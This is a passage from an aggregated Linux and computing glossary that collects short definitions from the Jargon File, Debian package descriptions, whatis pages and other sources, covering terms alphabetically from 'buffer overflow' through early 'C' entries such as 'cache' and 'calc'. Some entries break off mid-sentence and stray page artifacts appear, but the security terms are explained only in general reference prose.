Common coding style is to never allocate large enough buffers, and to not check for overflows. When such buffers overflow, the executing program (daemon or set-uid program) can be tricked in doing some other things. Generally this works by overwriting a function's return address on the stack to point to another location. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

buffer overflow

n. What happens when you try to stuff more data into a buffer (holding area) than it can handle. This problem is commonly exploited by crackers to get arbitrary commands executed by a program running with root permissions. This may be due to a mismatch in the processing rates of the producing and consuming processes (see overrun and firehose syndrome), or because the buffer is simply too small to hold all the data that must accumulate before a piece of it can be processed. For example, in a text-processing tool that crunches a line at a time, a short line buffer can result in lossage as input from a long line overflows the buffer and trashes data beyond it. Good defensive

Bug

A programming error that causes to a program or a computer system to perform erratically, produce incorrect results, or crash. The term bug was coined when a real insect was discovered to have fouled up one of the circuits of the first electronic digital computer, the ENIAC. A hardware problem is called a glitch. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bug

Bug Reporting Tool interfacing with the Bug Tracking System A script to ease the reporting of bugs. Automatically figures out version numbers of the package reported and all depending packages. Adds config files etc to the bug report. A script for easily accessing the bug database in the WWW is also included. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bug

n. An unwanted and unintended property of a program or piece of hardware, esp. one that causes it to malfunction. Antonym of feature. Examples: "There's a bug in the editor: it writes things out backwards." "The system crashed because of a hardware bug." "Fred is a winner, but he has a few bugs" (i.e., Fred is a good guy, but he has a few personality problems). Historical note: Admiral Grace Hopper (an early computing pioneer better known for inventing COBOL) liked to tell a story in which a technician solved a glitch in the Harvard Mark II machine by pulling an actual insect out from between the contacts of one of its relays, and she subsequently promulgated bug in its hackish sense as a joke about the incident (though, as she was careful to admit, she was not there when it happened). For many years the logbook associated with the incident and the actual bug in question (a moth) sat in a display case at the Naval Surface Warfare Center (NSWC). The entire story, with a picture of the logbook and the moth taped into it, is recorded in the "Annals of the History of Computing", Vol. 3, No. 3 (July 1981), pp. 285–286. The text of the log entry (from September 9, 1947), reads "1545 Relay #70 Panel F (moth) in relay. First actual case of bug being found". This wording establishes that the term was already in use at the time in its current specific sense — and Hopper herself reports that the term `bug' was regularly applied to problems in radar electronics during WWII. Indeed, the use of `bug' to mean an industrial defect was already established in Thomas Edison's time, and a more specific and rather modern use can be found in an electrical handbook from 1896 ("Hawkin's New Catechism of Electricity", Theo. Audel & Co.) which says: "The term `bug' is used to a limited extent to designate any fault or trouble in the connections or working of electric apparatus." It further notes that the term is "said to have originated in quadruplex telegraphy and have been transferred to all electric apparatus." The latter observation may explain a common folk etymology of the term; that it came from telephone company usage, in which "bugs in a telephone cable" were blamed for noisy lines. Though this derivation seems to be mistaken, it may well be a distorted memory of a joke first current among telegraph operators more than a century ago! Or perhaps not a joke. Historians of the field inform us that the term "bug" was regularly used in the early days of telegraphy to refer to a variety of semi-automatic telegraphy keyers that would send a string of dots if you held them down. In fact, the Vibroplex keyers (which were among the most common of this type) even had a graphic of a beetle on them (and still do)! While the ability to send repeated dots automatically was very useful for professional morse code operators, these were also significantly trickier to use than the older manual keyers, and it could take some practice to ensure one didn't introduce extraneous dots into the code by holding the key down a fraction too long. In the hands of an inexperienced operator, a Vibroplex "bug" on the line could mean that a lot of garbled Morse would soon be coming your way. Further, the term "bug" has long been used among radio technicians to describe a device that converts electromagnetic field variations into acoustic signals. It is used to trace radio interference and look for dangerous radio emissions. Radio community usage derives from the roach-like shape of the first versions used by 19th century physicists. The first versions consisted of a coil of wire (roach body), with the two wire ends sticking out and bent back to nearly touch forming a spark gap (roach antennae). The bug is to the radio technician what the stethoscope is to the stereotype medical doctor. This sense is almost certainly ancestral to modern use of "bug" for a covert monitoring device, but may also have contributed to the use of "bug" for the effects of radio interference itself. Actually, use

of `bug' in the general sense of a disruptive event goes back to Shakespeare! (Henry VI, part III – Act V, Scene II: King Edward: "So, lie thou there. Die thou; and die our fear; For Warwick was a bug that fear'd us all.") In the first edition of Samuel Johnson's dictionary one meaning of `bug' is "A frightful object; a walking spectre"; this is traced to `bugbear', a Welsh term for a variety of mythological monster which (to complete the circle) has recently been reintroduced into the popular lexicon through fantasy role-playing games. In any case, in jargon the word almost never refers to insects. Here is a plausible conversation that never actually happened: "There is a bug in this ant farm!" "What do you mean? I don't see any ants in it." "That's the bug." A careful discussion of the etymological issues can be found in a paper by Fred R. Shapiro, 1987, "Entomology of the Computer Bug: History and Folklore", *American Speech* 62(4):376–378. [There has been a widespread myth that the original bug was moved to the Smithsonian, and an earlier version of this entry so asserted. A correspondent who thought to check discovered that the bug was not there. While investigating this in late 1990, your editor discovered that the NSWC still had the bug, but had unsuccessfully tried to get the Smithsonian to accept it -- and that the present curator of their History of American Technology Museum didn't know this and agreed that it would make a worthwhile exhibit. It was moved to the Smithsonian in mid-1991, but due to space and money constraints was not actually exhibited for years afterwards. Thus, the process of investigating the original-computer-bug bug fixed it in an entirely unexpected way, by making the myth true! --ESR] From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bug

The word "bug" describes some sort of programming mistake. Common programming mistakes related to security are: buffer-overflows, format-string bugs, race conditions. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bug-buddy

A graphical bug reporting tool for GNOME The goal of bug-buddy is to make reporting bugs very simple and easy for the user, while making the reports themselves more useful and informative for the developer. It can extract debugging information from a core file or crashed application (via `gnome_segv`). It currently supports the bug tracking systems of Gnome, Helix, KDE, and Debian. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BUGS file

List of errata. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bugsquish

Bugs are trying to suck blood out of your arm! "Bug Squish" is an action game not unlike light gun arcade games, but played with a mouse. It's loosely based on a MacOS game whose name I can't recall. Bugs are trying to suck blood out of your arm! Squish them with with your fly swatter before you run out of blood. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bugsx

evolve biomorphs using genetic algorithms bugsx is a program which draws biomorphs based on parametric plots of Fourier sine and cosine series and let's you play with them using genetic algorithms. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BUGTRAQ

One of the most important sources of information in the security community. BUGTRAQ has become the quasi-official place to publish vulnerability and exploit information. Controversy: A debate over "full-disclosure" surrounds BUGTRAQ. On one side is a community of people that believe full and open disclosure of vulnerabilities and exploits is necessary to promote the development of protections against hacking. On the other side is a community of people that believe total disclosure, including script-kiddy ready exploits, is harmful. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bugzilla

Mozilla bug tracking system Bugzilla is a web-based tool that lets you: * report bugs * assign bugs to the appropriate developers * prioritize bugs * set bug dependencies * arrange bugs by product and component With these features, you can also use Bugzilla as a to-do list manager. Bugzilla is a web application that lets users report and look up existing bugs. Changes made to a bug's status are automatically sent to users concerned with it. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BUI

Bus Interface Unit (DEC) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

buici-clock

attractive desktop clock As clocks go, Buici satisfies the basic need of representing the time accurately and attractively. I wrote it when I began to use X as my primary desktop environment and wanted to have a decent looking clock on my desktop. I loathe digital clocks. This release has limited configurability. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

build-essential

Informational list of build-essential packages If you do not plan to build Debian packages, you don't need this package. Moreover this package is not required for building Debian packages. This package contains an informational list of packages which are considered essential for building Debian packages. This package also depends on the packages on that list, to make it easy to have the build-essential packages installed. If you have this package installed, you only need to install whatever a package specifies as its build-time dependencies to build the package. Conversely, if you are determining what your package needs to build-depend on, you can always leave out the packages this package depends on. This package is NOT the definition of what packages are build-essential; the real definition is in the Debian Policy Manual. This package contains merely an informational list, which is all most people need. However, if this package and the manual disagree, the manual is correct. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

buildhash

Interactive spelling checking From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bulletproof

Capable, because of high fault tolerance, of resisting external interference and recovering from situations that would crash other programs. From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bumprace

1 or 2 players race through a multi-level maze. In BumpRacer, 1 player or 2 players (team or competitive) choose among 4 vehicles and race through a multi-level maze. The players must acquire bonuses and avoid traps and enemy fire in a race against the clock. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bunzip2

a block-sorting file compressor, v1.0.2 From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

burgerspace

Avoid evil foodstuffs and make burgers. This is a clone of the classic game "BurgerTime". In it, you play the part of a chef who must create burgers by stepping repeatedly on the ingredients until they fall into place. And to make things more complicated, you also must avoid evil animate food items while performing this task, with nothing but your trusty pepper shaker to protect you. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bus

An internal communication network in a computer system. A typical system includes an address bus, a data bus, and a control bus. The width of the address bus determines the amount of memory that can be addressed by the system. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bus

An internal electrical pathway along which signals are sent from one part of the computer to another. Personal computers have a processor bus design with three pathways. The data bus sends data back and forth between the memory and the microprocessor divided into an external data bus and an internal data bus. The address bus identifies which memory location will come into play. The control bus carries the control unit's signals. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BUS

Broadcast and Unknown Server (ATM, LANE) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bus

Conductors that connect the functional units in a computer (called a bus because it travels to all destinations). Local busses connect elements within the CPU and other busses connect to external memory and peripherals. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bus Master DMA

A technology for increasing the speed of hard disk data transfers which requires support from the motherboard and the BIOS, and at least some support from the drive. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

busybox

Tiny utilities for small and embedded systems. BusyBox combines tiny versions of many common UNIX utilities into a single small executable. It provides minimalist replacements for the most common utilities you would usually find on your desktop system (i.e., ls, cp, mv, mount, tar, etc.). The utilities in BusyBox generally have fewer options than their full-featured GNU cousins; however, the options that are included provide the expected functionality and behave very much like their GNU counterparts. This package installs the BusyBox binary but does not install symlinks for any of the supported utilities. You can use `/bin/busybox --install` to install BusyBox to the current directory (you do not want to do this in `/` on your Debian system!). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

buthead

copy all but the first few lines Copy all but the first N lines of standard input to standard output. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BV

BildVerarbeitung From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BVB

BundesVerband fuer Buero- und informationssysteme [e.v.] (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BVCP

[PPP] Banyan VINES Control Protocol (RFC 1763, Banyan, VINES, PPP) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bvi

A binary file editor The bvi is a display-oriented editor for binary files, based on the vi text editor. If you are familiar with vi, just start the editor and begin to edit! If you never heard about vi, maybe bvi is not the best choice for you. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BVIT

BundesVerband InformationsTechnologien [e.v.] (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BW

Business Warehouse (DWH) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bwbar

Generates text and graphical readout of current bandwidth use. This program will output a PNG and a text file that can be used in scripts or be included in web pages to show current bandwidth usage. The amount of total bandwidth can be customized. The PNG output appears as a bar graph showing maximum possible usage with the current inbound or outbound usage shown as a differently colored bar. An example of this can be seen at <http://www.kernel.org/> From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bwbasic

Bywater BASIC Interpreter The Bywater BASIC Interpreter (bwBASIC) implements a large superset of the ANSI Standard for Minimal BASIC (X3.60–1978) and a significant subset of the ANSI Standard for Full BASIC (X3.113–1987) in C. It also offers shell programming facilities as an extension of BASIC. bwBASIC seeks to be as portable as possible. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BWBM

Bandwidth Balancing Mechanism (DQDB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BWCC

Borland Windows Custom Controls (Borland, DLL) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bwidget

A set of extension widgets for Tcl/Tk The BWidget toolkit is a high-level widget set for Tcl/Tk. It contains widgets such as progress bars, 3D separators, various manager widgets for toplevels, frames, paned or scrolled windows, button boxes, notebooks or dialogs as well as composite widgets such as comboboxes, spin boxes and tree widgets. The BWidget toolkit is completely written in Tcl so no compiled extension library is required. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bwm

BandWidth Monitor This is a very tiny bandwidth monitor (not X11). Can monitor up to 16 interfaces in the in the same time, and shows totals too. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bximage

Disk Image Creation Tool for Bochs This tool is part of the Bochs project. Its purpose is to generate disk images that are used to allocate the guest operating system in Bochs environment. It can be useful for other programs that also make use of disk images, like Plex86. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

byacc

Byacc (Berkeley Yacc) is a public domain LALR parser generator which is used by many programs during their build process. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

byacc

The Berkeley LALR parser generator Yacc reads the grammar specification in a file and generates an LR(1) parser for it. The parsers consist of a set of LALR(1) parsing tables and a driver routine written in the C programming language. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BYLD

Build Your Linux Disk (BYLD) is a little package that helps you to build a Linux distribution on a single floppy disk to use as you want. Build a net client, rescue disk or other small application. A floppy-based distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BYO Linux

BYO Linux (aka Build Your Own Linux OR DiyLinux to some) allows Linux enthusiasts to construct their own 100% pure Linux distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

byte

/bi:t/ n. [techspeak] A unit of memory or data equal to the amount used to represent one character; on modern architectures this is usually 8 bits, but may be 9 on 36-bit machines. Some older architectures used `byte' for quantities of 6 or 7 bits, and the PDP-10 supported `bytes' that were actually bitfields of 1 to 36 bits! These usages are now obsolete, and even 9-bit bytes have become rare in the general trend toward power-of-2 word sizes. Historical note: The term was coined by Werner Buchholz in 1956 during the early design phase for the IBM Stretch computer; originally it was described as 1 to 6 bits (typical I/O equipment of the period used 6-bit chunks of information). The move to an 8-bit byte happened in late 1956, and this size was later adopted and promulgated as a standard by the System/360. The word was coined by mutating the word `bite' so it would not be accidentally misspelled as bit. See also nybble. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Byte

A set of Bits that represent a single character. Usually there are 8 Bits in a Byte, sometimes more, depending on how the measurement is being made. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Byte

A single computer character, generally eight bits. For example, the letter "G" in binary code is 01000111. From Glossary of Distance Education and Internet Terminology

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

byte

Eight bits in a row. That is a series of eight pieces of information, each of which can be either 1 or 0. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

byte

The amount of memory space used to store one character; generally 8 bits. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

byte ordering

This refers to the order in which bytes that are ordered in memory as n,n+1,... are ordered when a computer considers multiple bytes as one integer. Big-endian computers use bytes with lower addresses for the bits with higher powers of two. PowerPC, m68k, HP-PA-RISC, IBM-370, PDP-10, most other computers use this. Little-endian computers use the opposite convention. i86, PDP-11, VAX, uses this. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bzcat

decompresses files to stdout From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bzcmp

compare bzip2 compressed files From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bzdiff

compare bzip2 compressed files From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bzegrep

search possibly bzip2 compressed files for a regular expression From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bzfgrep

search possibly bzip2 compressed files for a regular expression From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bzflag

a 3D first person tank battle game BZFlag is a 3D multi-player tank battle game that allows users to play against each other in a networked environment. There are five teams: red, green, blue, purple and rogue (rogue tanks are black). Destroying a player on another team scores a win, while being destroyed or destroying a teammate scores a loss. Rogues have no teammates (not even other rogues), so they cannot shoot teammates and they do not have a team score. There are two main styles of play: capture-the-flag and free-for-all. In capture-the-flag, each team (except rogues) has a team base and each team with at least one player has a team flag. The object is to capture an enemy team's flag by bringing it to your team's base. This destroys every player on the captured team, subtracts one from that team's score, and adds one to your team's score. In free-for-all, there are no team flags or team bases. The object is simply to get as high a score as possible. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bzgrep

search possibly bzip2 compressed files for a regular expression From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bzip2

A high-quality block-sorting file compressor – utilities bzip2 is a freely available, patent free, high-quality data compressor. It typically compresses files to within 10% to 15% of the best available techniques, whilst being around twice as fast at compression and six times faster at decompression. bzip2 compresses files using the Burrows-Wheeler block-sorting text compression algorithm, and Huffman coding. Compression is generally considerably better than that achieved by more conventional LZ77/LZ78-based compressors, and approaches the performance of the PPM family of statistical compressors. The archive file format of bzip2 (.bz2) is incompatible with that of its predecessor, bzip (.bz). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bzip2

Bzip2 compresses files using the Burrows-Wheeler block-sorting text compression algorithm, and Huffman coding. Compression is generally considerably better than that achieved by more conventional LZ77/LZ78-based compressors, and approaches the performance of the PPM family of statistical compressors. The command-line options are deliberately very similar to those of GNU Gzip, but they are not identical. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bzip2

Bzip2 is a freely available, patent-free, high-quality data compressor that uses the same command line flags as gzip. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Bzip2

is a relatively new algorithm for compressing data. It generally achieves files that are 60–70% of the size of their gzipped counterparts. From Bzip2 mini-HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bzip2recover

recovers data from damaged bzip2 files From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bzless

file perusal filter for crt viewing of bzip2 compressed text From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

bzmore

file perusal filter for crt viewing of bzip2 compressed text From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

BZR

Bit Zone Recording (ROD) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

C

C

a programming language designed by Dennis Ritchie during the early 1970s and immediately used to reimplement Unix; so called because many features derived from an earlier compiler named `B' in commemoration of its parent, BCPL. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

C

n. 1. The third letter of the English alphabet. 2. ASCII 1000011. 3. The name of a programming language designed by Dennis Ritchie during the early 1970s and immediately used to reimplement Unix; so called because many features derived from an earlier compiler named `B' in commemoration of its parent, BCPL. (BCPL was in turn descended from an earlier Algol-derived language, CPL.) Before Bjarne Stroustrup settled the question by designing C++, there was a humorous debate over whether C's successor should be named `D' or `P'. C became immensely popular outside Bell Labs after about 1980 and is now the dominant language in systems and microcomputer applications programming. See also languages of choice, indent style. C is often described, with a mixture of fondness and disdain varying according to the speaker, as "a language that combines all the elegance and power of assembly language with all the readability and maintainability of assembly language".

From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

C programming language

Point: The language is quirky, difficult for beginners to learn, and really just an accident of history. Despite this, one must grok the language in order to become an elite hacker. Key point: The large number of buffer overflow exploits is directly related to poor way that C protects programmers from doing the wrong thing. On the other hand, these lack of protections leads directly to its high speed.

From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

C Shell

A Linux shell written to look sort of like the C programming language. It prompts you with %. Its program name is csh. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

C++

/C'-pluhs-pluhs/ n. Designed by Bjarne Stroustrup of AT&T Bell Labs as a successor to C. Now one of the languages of choice, although many hackers still grumble that it is the successor to either Algol 68 or Ada (depending on generation), and a prime example of second-system effect. Almost anything that can be done in any language can be done in C++, but it requires a language lawyer to know what is and what is not legal-- the design is almost too large to hold in even hackers' heads. Much of the cruft results from C++'s attempt to be backward compatible with C. Stroustrup himself has said in his retrospective book "The Design and Evolution of C++" (p. 207), "Within C++, there is a much smaller and cleaner language struggling to get out." [Many hackers would now add "Yes, and it's called Java" --ESR] From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

c++

GNU project C++ Compiler From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

c++filt

Demangle *(C+ and Java symbols. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

c-sig

A signature tool for GNU Emacs C-sig is a signature insertion tool for GNU Emacs. Features in c-sig include: - registering signatures interactively - learning facility - expanding signatures dynamically - modifying signatures through elisp functions From Debian 3.0r0 APT

C

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

c2050

Lexmark 2050 Color Jetprinter Linux Driver Filter to convert a Postscript file to Lexmark 2050 format. This driver allow you to print at 300dpi in color on A4 paper. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

c2hs

C->Haskell Interface Generator C->Haskell is an interface generator that simplifies the development of Haskell bindings to C libraries. The tool processes existing C header files that determine data layout and function signatures on the C side in conjunction with Haskell modules that specify Haskell-side type signatures and marshaling details. Hooks embedded in the Haskell code signal access to C structures and functions -- they are expanded by the interfacing tool in dependence on information from the corresponding C header file. Haskell 98 is "the" standard lazy functional programming language. More info plus the language definition is at <http://www.haskell.org/>. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

c2html

Highlight C sources for WWW presentation c2html can highlight your source for presentation in the WWW. It can also be used as a CGI script and can detect whether the client browser supports compressed data to save bandwidth. From Debian 3.0r0 APT

c2man

generate manual pages from C source code From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

c2man

Graham Stoney's mechanized man page generator C2man is an automatic documentation tool that extracts comments from C source code to generate functional interface documentation in the same format as sections 2 & 3 of the Unix Programmer's Manual. It requires minimal effort from the programmer by looking for comments in the usual places near the objects they document, rather than imposing a rigid function-comment syntax or requiring that the programmer learn and use a typesetting language. Acceptable documentation can often be generated from existing code with no modifications. conformance: supports both K&R and ISO/ANSI C coding styles Features: * generates output in nroff -man, TeXinfo, LaTeX or HTML format * handles comments as part of the language grammar * automagically documents enum parameter & return values * handles C (/* */) and C++ (//) style comments Problems: * doesn't handle C++ grammar (yet) * doxygen does this job better From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

c2ph

Dump C structures as generated from *(C`cc -g -S*(C' stabs From whatis

Computer-Assisted Circuit Engineering and Allocating System From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cache

A small fast memory holding recently accessed data, designed to speed up subsequent access to the same data. Most often applied to processor-memory access but also used for a local copy of data accessible over a network etc. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Cache

A storage area that keeps frequently accessed data or program instructions readily available so that you don't have to retrieve them repeatedly from slow storage. Caches improve storage by storing data

C

or instructions in faster sections of memory and by using efficient design to increase the likelihood that the data needed next is in the cache. From QUECID

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cache

A temporary storage area for currently-used or recently-accessed data. Cache can be system-level (residing in dedicated cache memory on the motherboard or physically etched on the central processing unit) or disk-based (residing in main memory such as a hard disk drive or RAM). From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cache

In general computer science, the word cache means simply to keep things around in case they are used again. For example, when you log onto your system, your username and password are stored in a cache in memory, because they are repeatedly used by the system every time you access a resource. Key point: Sometimes systems can be exploited through the cache. Examples are: HTTP proxy servers Companies use these so that thousands of users can share a single Internet connection. They store recently used webpages so that when multiple users access the same web-site, the proxy server only has to go across the link once in order to fetch the page for all the users. A never ending series of bugs leads to conditions whereby when one user logs into a website, other users can see that first user's data. Web-browser history/file cache Once a hacker breaks into a machine, he/she can view the history cache (list of URLs) or file cache (the actual contents of the web-sites) in order to spy on where the user has been. Embarrassing, inadvertent disclosure of this information by users with certain surfing habits is common. Web-browser cookie cache Lots of web-sites store passwords within cookies, so that stealing somebody's cookie information will allow a hacker to log in as that user. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cacti

Frontend to rrdtool for monitoring systems and services Cacti is a complete frondend to rrdtool, it stores all of the necessary information to create graphs and populate them with data in a MySQL database. The frontend is completely PHP driven. Along with being able to maintain Graphs, Data Sources, and Round Robin Archives in a database, cacti handles the data gathering also. There is also SNMP support for those used to creating traffic graphs with MRTG. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cal

Displays a simple calendar. If arguments are not specified, the current month is displayed. From

Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

calamaris

Log analyzer for Squid or Oops proxy log files Calamaris is a Perl script which generates nice statistics out of Squid or Oops log files. It is invoked daily before the proxy rotates its log files and mails the statistics or puts them on the web. There are quite a number of options to choose what kind of report should be generated (domain-report, peak-report, performance-report etc.). This can be tuned in /etc/cron.daily/calamaris An example of such a report can be found on

<http://www.cord.de/tools/squid/calamaris/calamaris-2.html> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

calc

An advanced calculator and mathematical tool for Emacs This is an advanced calculator and mathematical tool for GNU Emacs. XEmacs has calc built-in, so you only need this package if you are using GNU Emacs. Very roughly based on the HP-28/48 series of calculators, calc's many features include: * Choice of algebraic or RPN (stack-based) entry of calculations. * Arbitrary precision integers and floating-point numbers. * Arithmetic on rational numbers, complex numbers (rectangular and polar), error forms with standard deviations, open and closed intervals, vectors and matrices, dates and times, infinities, sets, quantities with units, and algebraic formulas. * Mathematical operations such as logarithms and trigonometric functions. * Programmer's features (bitwise operations, non-decimal numbers). * Financial functions such as future value and internal rate of return. * Number theoretical features such as prime factorization and arithmetic modulo M for any M. * Algebraic manipulation features, including symbolic calculus. * Moving data to and from regular editing buffers. * "Embedded mode" for manipulating Calc formulas and data directly inside any editing buffer. * Graphics using GNUPLOT, a versatile (and free) plotting program. * Easy programming using keyboard macros, algebraic formulas, algebraic rewrite rules, or extended Emacs Lisp. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

calcoo

Scientific calculator (GTK+) Calcoo is a scientific calculator designed to provide maximum usability. The features that make Calcoo better than (at least some) other calculator programs are: - bitmapped button labels and display digits to improve readability - no double-function buttons - you need to click only one button for any operation (except for arc-hyp trigonometric functions) - undo/redo buttons - both RPN (reverse Polish notation) and algebraic modes - copy/paste interaction with X clipboard - display tick marks to separate thousands - two memory registers with displays - displays for Y, Z, and T registers From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

calendar

reminder service From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

calife

Provides super user privileges to specific users. Calife is a lightweight alternative to Sudo. It allows selected users to obtain a shell with the identity of root, or another user, after entering their own password. This permits the system administrator to grant root privileges without sharing the root password. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CALS

Computer aided Acquisition and Logistics Support From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

cam

Cpu's Audio Mixer for Linux An audio mixer for Linux, based originally on aumix. Supports both OSS/Free and OSS/Linux. The DOSEMU package provides the vga font which xcam (a script to run cam nicely in an xterm) needs to run properly, but it will run without it. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

CAMAC

Computer Automated Measurement And Control From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

camas

A versatile WebMail system for the Caudium WebServer CAMAS is a WebMail system created for the Caudium WebServer. It features multi-lingual interface (most European languages are already present in the distribution), full themability of the user interface, mailbox sorting, on-line mail notification, global and local address books, import from the Pine or Netscape address books and much more. CAMAS is written in the Pike language. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

came

Rewrite of the xawtv webcam app using imlib2 came is a rewrite of the xawtv webcam app using imlib2 Features include: * Uses Imlib2 * TTF fonts * Blended transparent text * Title text * Options in ~/.camErc * Message read from separate file (eg echo "eating my dinner" > ~/.caminfo) * Color the text as you like * Text background any color/alpha value * scp support for uploading * And more... From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

camediaplay

